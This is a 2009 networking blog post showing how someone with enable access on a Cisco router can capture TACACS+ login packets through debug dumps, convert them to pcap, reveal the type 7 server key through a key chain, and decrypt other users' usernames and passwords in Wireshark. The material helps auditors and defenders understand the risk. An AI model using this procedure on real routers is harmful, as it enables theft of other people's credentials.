Saturday, April 18, 2009

Decoding login credentials regardless of access method

In a previous post of mine i had described how easy it is to find the login credentials of any user, as long as you have enable access on the router where the user is trying to login and the user is using telnet.

You all know that ssh is a better, far more secure, access method since the whole communication is encrypted.

You also know that usually an external aaa server is used in order to allow privileged access in routers. As an aaa server you can use a tacacs+ or a radius server, with tacacs+ being the preferred choice because it also provides authorization as a different operation and encryption of the full payload.

What would you say if you could capture the aaa server's traffic from inside the router itself, decode it using the tacacs/radius key stored in the router's configuration and find the credentials of everyone logging into the router, regardless of the user's access method? You don't even need any sniffing (on the wire) to take place.

Here is how...

Let's suppose we have a router which is using tacacs+ for its login authentication and we're trying to find the login credentials of someone logging into it using ssh (the access method is irrelevant!).

First you create an acl matching the packets you want to capture :


access-list 199 permit tcp any host 10.10.10.10 eq tacacs

10.10.10.10 is the tacacs+ server you're trying to monitor and tacacs (tcp/49) is the port the server is listening to.

If you don't want to look for it into the config (with "sh run"), the following will give you the details.

R1#sh tacacs | i Server
Tacacs+ Server : 10.10.10.10/49

Then you enable the hidden "dump" option of the "debug ip packet" command and you wait for someone to login.

R1#debug ip packet detail 199 dump
IP packet debugging is on (detailed) (dump) for access list 199

Keep in mind that if you use tacacs for many kinds of authentication/authorization/accounting you'll get a lot of output, so try to capture as much as possible (generally try to have a large buffer).

You're interested in lines containing "C001", with C0 defining the TACACS+ version and 01 defining "Authentication". According to the tacacs+ draft rfc :
TAC_PLUS_MAJOR_VER=0xC
TAC_PLUS_MINOR_VER_DEFAULT=0x0
TAC_PLUS_AUTHEN=0x01


R1#sh log | i C001
082D1800: C0010100 99648E6A 0000001C B8145EC8 @....d.j....8.^H
082D1800: C0010100 99648E6A 0000001C B8145EC8 @....d.j....8.^H
082D1120: C0010300 99648E6A 00000012 0EF88E37 @....d.j.....x.7
082D1120: C0010300 99648E6A 00000012 0EF88E37 @....d.j.....x.7

So you got 4 packets with tacacs authentication data, with the first 2 being the same and the last 2 being again the same.

Now do a "sh log", trying to locate the packets with the above found hex offsets (hex offset is the very first hex number at the left of each line).


R1#sh log
Syslog logging: enabled (0 messages dropped, 0 messages rate-limited,
0 flushes, 0 overruns, xml disabled, filtering disabled)

No Active Message Discriminator.



No Inactive Message Discriminator.


Console logging: level debugging, 7110 messages logged, xml disabled,
filtering disabled
Monitor logging: level debugging, 0 messages logged, xml disabled,
filtering disabled
Buffer logging: level debugging, 781 messages logged, xml disabled,
filtering disabled
Logging Exception size (8192 bytes)
Count and timestamp logging messages: disabled
Persistent logging: disabled

No active filter modules.

ESM: 0 messages dropped

Trap logging: level informational, 57 message lines logged

Log Buffer (512000 bytes):

*Apr 18 18:19:51.779: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:51.783: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:51.783: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 44, sending
*Apr 18 18:19:51.787: TCP src=20596, dst=49, seq=1187787225, ack=0, win=4128 SYN
080019D0: 4500002C 67890000 E..,g...
080019E0: FF062C1C 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
080019F0: 46CC31D9 00000000 60021020 96950000 FL1Y....`.. ....
08001A00: 020405B4 ...4
*Apr 18 18:19:51.803: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 44, sending full packet
*Apr 18 18:19:51.807: TCP src=20596, dst=49, seq=1187787225, ack=0, win=4128 SYN
080019C0: 0200 4C4F4F50 ..LOOP
080019D0: CA000CB8 00060800 4500002C 67890000 J..8....E..,g...
080019E0: FF062C1C 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
080019F0: 46CC31D9 00000000 60021020 96950000 FL1Y....`.. ....
08001A00: 020405B4 ...4
*Apr 18 18:19:51.847: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:51.847: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:51.851: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:19:51.855: TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
08001250: 45000028 678A0000 E..(g...
08001260: FF062C1F 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
08001270: 46CC31DA E36FD617 50101020 F4BA0000 FL1ZcoV.P.. t:..
08001280:
*Apr 18 18:19:51.871: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:19:51.875: TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
08001240: 0200 4C4F4F50 ..LOOP
08001250: CA000CB8 00060800 45000028 678A0000 J..8....E..(g...
08001260: FF062C1F 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
08001270: 46CC31DA E36FD617 50101020 F4BA0000 FL1ZcoV.P.. t:..
08001280:
*Apr 18 18:19:51.887: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:51.887: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:51.887: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 80, sending
*Apr 18 18:19:51.887: TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
082D17D0: 45000050 678B0000 E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031 ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000 FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8 @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89 (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F .y.sG$._

*Apr 18 18:19:51.887: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 80, sending full packet
*Apr 18 18:19:51.887: TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
082D17C0: 0200 4C4F4F50 ..LOOP
082D17D0: CA000CB8 00060800 45000050 678B0000 J..8....E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031 ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000 FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8 @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89 (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F .y.sG$._

*Apr 18 18:19:52.103: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:52.107: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:52.107: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:19:52.111: TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
080014D0: 45000028 678C0000 E..(g...
080014E0: FF062C1D 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
080014F0: 46CC3202 E36FD633 50101004 F4920000 FL2.coV3P...t...
08001500:
*Apr 18 18:19:52.127: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:19:52.131: TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
080014C0: 0200 4C4F4F50 ..LOOP
080014D0: CA000CB8 00060800 45000028 678C0000 J..8....E..(g...
080014E0: FF062C1D 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
080014F0: 46CC3202 E36FD633 50101004 F4920000 FL2.coV3P...t...
08001500:
*Apr 18 18:20:17.535: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:20:17.535: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:20:17.539: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 70, sending
*Apr 18 18:20:17.543: TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
082D10F0: 45000046 678D0000 E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031 ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000 FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37 @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519 0BC..X .C#}...

*Apr 18 18:20:17.563: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 70, sending full packet
*Apr 18 18:20:17.567: TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
082D10E0: 0200 4C4F4F50 ..LOOP
082D10F0: CA000CB8 00060800 45000046 678D0000 J..8....E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031 ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000 FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37 @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519 0BC..X .C#}...

*Apr 18 18:20:17.607: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:20:17.611: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:20:17.615: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:20:17.619: TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK
08001C50: 45000028 678E0000 E..(g...
08001C60: FF062C1B 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
08001C70: 46CC3220 E36FD646 50100FF2 F4730000 FL2 coVFP..rts..
08001C80:
*Apr 18 18:20:17.623: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:20:17.627: TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK
08001C40: 0200 4C4F4F50 ..LOOP
08001C50: CA000CB8 00060800 45000028 678E0000 J..8....E..(g...
08001C60: FF062C1B 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
08001C70: 46CC3220 E36FD646 50100FF2 F4730000 FL2 coVFP..rts..
08001C80:
*Apr 18 18:20:17.643: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:20:17.647: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:20:17.647: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:20:17.651: TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK PSH FIN
082D2590: 45000028 678F0000 E..(g...
082D25A0: FF062C1A 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
082D25B0: 46CC3220 E36FD646 50190FF2 F46A0000 FL2 coVFP..rtj..
082D25C0:
*Apr 18 18:20:17.655: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:20:17.655: TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK PSH FIN
082D2580: 0200 4C4F4F50 ..LOOP
082D2590: CA000CB8 00060800 45000028 678F0000 J..8....E..(g...
082D25A0: FF062C1A 0A0A0A09 0A0A0A0A 50740031 ..,.........Pt.1
082D25B0: 46CC3220 E36FD646 50190FF2 F46A0000 FL2 coVFP..rtj..
082D25C0:


copy these 4 packets into a text file

082D17D0: 45000050 678B0000 E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031 ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000 FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8 @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89 (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F .y.sG$._

082D17C0: 0200 4C4F4F50 ..LOOP
082D17D0: CA000CB8 00060800 45000050 678B0000 J..8....E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031 ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000 FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8 @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89 (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F .y.sG$._

082D10F0: 45000046 678D0000 E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031 ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000 FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37 @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519 0BC..X .C#}...

082D10E0: 0200 4C4F4F50 ..LOOP
082D10F0: CA000CB8 00060800 45000046 678D0000 J..8....E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031 ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000 FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37 @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519 0BC..X .C#}...

If you have a detailed look at the above packet offsets/contents, you'll notice that

Packet 1 is a sub-packet of Packet 2 (offsets 082D17E0 - 082D1820 are common)
Packet 3 is a sub-packet of Packet 4 (offsets 082D1100 - 082D1130 are common)

Their difference is that Packet 1 and Packet 3 do not contain the L2 header. The debug output shows these packets as "sending" vs "sending full packet" which are the full packets.

Since it's better to have the full packet, erase the sub-packets (packets that do not contain the L2 header = packets with the least data).

So you end up with the following 2 full packets:


082D17C0: 0200 4C4F4F50 ..LOOP
082D17D0: CA000CB8 00060800 45000050 678B0000 J..8....E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031 ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000 FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8 @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89 (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F .y.sG$._

082D10E0: 0200 4C4F4F50 ..LOOP
082D10F0: CA000CB8 00060800 45000046 678D0000 J..8....E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031 ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000 FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37 @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519 0BC..X .C#}...


Now, you have to convert the above 2 packets into a format that Wireshark can understand. There is an extra program you'll find in your Wireshark folder, called "text2pcap" that can help you in that. But it requires a specific input format.

First, put a space between every pair of hex numbers :


082D17C0: 02 00 4C 4F 4F 50 ..LOOP
082D17D0: CA 00 0C B8 00 06 08 00 45 00 00 50 67 8B 00 00 J..8....E..Pg...
082D17E0: FF 06 2B F6 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31 ..+v........Pt.1
082D17F0: 46 CC 31 DA E3 6F D6 17 50 10 10 20 9F 96 00 00 FL1ZcoV.P.. ....
082D1800: C0 01 01 00 99 64 8E 6A 00 00 00 1C B8 14 5E C8 @....d.j....8.^H
082D1810: A8 B3 C2 B9 3E C1 2A 1F AA 40 DE 66 D7 42 9C 89 (3B9>A*.*@^fWB..
082D1820: 0B F9 11 F3 C7 24 9F 5F .y.sG$._

082D10E0: 02 00 4C 4F 4F 50 ..LOOP
082D10F0: CA 00 0C B8 00 06 08 00 45 00 00 46 67 8D 00 00 J..8....E..Fg...
082D1100: FF 06 2B FE 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31 ..+~........Pt.1
082D1110: 46 CC 32 02 E3 6F D6 33 50 10 10 04 FF 71 00 00 FL2.coV3P....q..
082D1120: C0 01 03 00 99 64 8E 6A 00 00 00 12 0E F8 8E 37 @....d.j.....x.7
082D1130: 30 42 C3 04 03 58 A0 11 C3 A3 FD 82 15 19 0BC..X .C#}...

Then remove the ":" from the hex offset and recalculate each packet's offsets starting from 00000000. Every row is 10 (hex) bytes, so it gets easier after you find the offset for the 2nd row.

00000000 02 00 4C 4F 4F 50 ..LOOP
00000006 CA 00 0C B8 00 06 08 00 45 00 00 50 67 8B 00 00 J..8....E..Pg...
00000016 FF 06 2B F6 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31 ..+v........Pt.1
00000026 46 CC 31 DA E3 6F D6 17 50 10 10 20 9F 96 00 00 FL1ZcoV.P.. ....
00000036 C0 01 01 00 99 64 8E 6A 00 00 00 1C B8 14 5E C8 @....d.j....8.^H
00000046 A8 B3 C2 B9 3E C1 2A 1F AA 40 DE 66 D7 42 9C 89 (3B9>A*.*@^fWB..
00000056 0B F9 11 F3 C7 24 9F 5F .y.sG$._

00000000 02 00 4C 4F 4F 50 ..LOOP
00000006 CA 00 0C B8 00 06 08 00 45 00 00 46 67 8D 00 00 J..8....E..Fg...
00000016 FF 06 2B FE 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31 ..+~........Pt.1
00000026 46 CC 32 02 E3 6F D6 33 50 10 10 04 FF 71 00 00 FL2.coV3P....q..
00000036 C0 01 03 00 99 64 8E 6A 00 00 00 12 0E F8 8E 37 @....d.j.....x.7
00000046 30 42 C3 04 03 58 A0 11 C3 A3 FD 82 15 19 0BC..X .C#}...

Pass the above file as input to the text2pcap program and save the output to a pcap file. If everything went fine, you should see the following:

C:\Program Files\Wireshark>text2pcap -d tacacs-packets.txt tacacs-packets.pcap
Input from: tacacs-packets.txt
Output to: tacacs-packets.pcap
Start new packet
Start new packet
Wrote packet of 94 bytes at 0
Wrote packet of 84 bytes at 94

-------------------------
Read 2 potential packets, wrote 2 packets

Now, open the "tacacs-packets.pcap" in Wireshark and check the output:


You need the encryption key used by the tacacs in order to decrypt the tacacs part.


tacacs-server key 7 023224582B051C121F4D1B4A113C4112

If the tacacs key is encrypted in the configuration (like the above), then you can decrypt it by configuring it under a dummy key-chain (something that most of you should know already).

key chain test
key 1
key-string 7 023224582B051C121F4D1B4A113C4112


R1#sh key chain test
Key-chain test:
key 1 -- text "T@c@csS3cr3tK3y"
accept lifetime (always valid) - (always valid) [valid now]
send lifetime (always valid) - (always valid) [valid now]

Open Edit->Preferences in Wireshark and move to Protocol->Tacacs.
Fill in the tacacs key you found and voila! Next to the "User:" field you'll find what you're looking for.





The sequence numbers will help you identify which one is the username and which one is the password (normally the username comes first).

Notes :
You can use the above procedure in order to convert any Cisco "debug ip packet dump" output into the pcap format.

Update 19-Apr-2009 : If you don't want to mess with manual text editing, i have created a perl script which converts the dump output into a text2pcap compatible format.

2 comments:

  1. The capturing part was made extremely simple with the "embedded packet capture" feature of 12.4(20)T.

    ReplyDelete
  2. Ivan, i was mainly trying to make a wider approach, because the hidden "dump" keyword is supported since 12.0. Surely EPC is a great addition, but i don't think a lot of people are running 12.4(20)T now.
    Besides that, it was a very nice exercise for me trying to convert cisco's hex dumps to pcaps.

    ReplyDelete

 
Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License.
Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Greece License.